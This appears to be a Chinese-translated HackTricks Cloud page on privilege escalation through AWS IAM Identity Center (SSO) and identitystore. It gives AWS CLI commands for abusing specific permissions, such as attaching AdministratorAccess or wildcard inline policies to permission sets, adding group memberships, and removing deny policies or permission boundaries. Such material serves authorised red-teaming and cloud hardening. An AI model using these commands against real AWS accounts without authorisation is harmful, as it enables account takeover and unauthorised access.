AWS - SSO & identitystore Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
AWS Identity Center / AWS SSO
有关 AWS Identity Center / AWS SSO 的更多信息,请参见:
AWS - IAM, Identity Center & SSO Enum
Warning
请注意,默认 情况下,只有来自 Management Account 并且具有相应权限的 用户 才能访问并 控制 IAM Identity Center。
来自其他账户的用户只有在该账户为 Delegated Adminstrator. 时才被允许。
Check the docs for more info.
重置密码
在这种情况下,一个简单的 escalate privileges 方法是拥有能够重置用户密码的权限。不幸的是,目前只能向用户发送电子邮件以重置其密码,因此你需要访问该用户的电子邮件。
identitystore:CreateGroupMembership
通过该权限,可以将用户加入某个组,从而继承该组拥有的所有权限。
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
拥有这些权限的攻击者可以向分配给其控制下用户的 Permission Set 添加额外权限。
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
具有此权限的攻击者可以向分配给其控制下用户的 Permission Set 授予额外权限
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
拥有这些权限的攻击者可以向分配给其控制下用户的 Permission Set 授予额外权限。
Warning
要在这种情况下滥用这些权限,你需要知道将要受影响的所有账户中都存在的 name of a customer managed policy that is inside ALL the accounts。
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
拥有此权限的攻击者可以将一个 Permission Set 分配给受其控制的用户,使其在某个账户上生效。
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
返回分配给用户的指定角色名称的 STS 短期凭证。
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
不过,你需要一个 access token,我不确定如何获取 (TODO).
sso:DetachManagedPolicyFromPermissionSet
拥有此权限的攻击者可以从指定的 permission set 中移除与 AWS managed policy 的关联。通过 detaching a managed policy (deny policy) 可以授予更多权限。
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
具有此权限的攻击者可以从指定的权限集中移除与客户管理策略之间的关联。通过**分离管理型策略(拒绝策略)**可能会授予更多权限。
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
拥有此权限的攻击者可以从 permission set 的 inline policy 中移除权限。通过分离 inline policy(deny policy)可能授予更多权限。
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
拥有此权限的攻击者可以从 permission set 中移除 Permission Boundary。 这可能通过移除 Permission Boundary 对 Permission Set 的限制来授予更多特权。
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

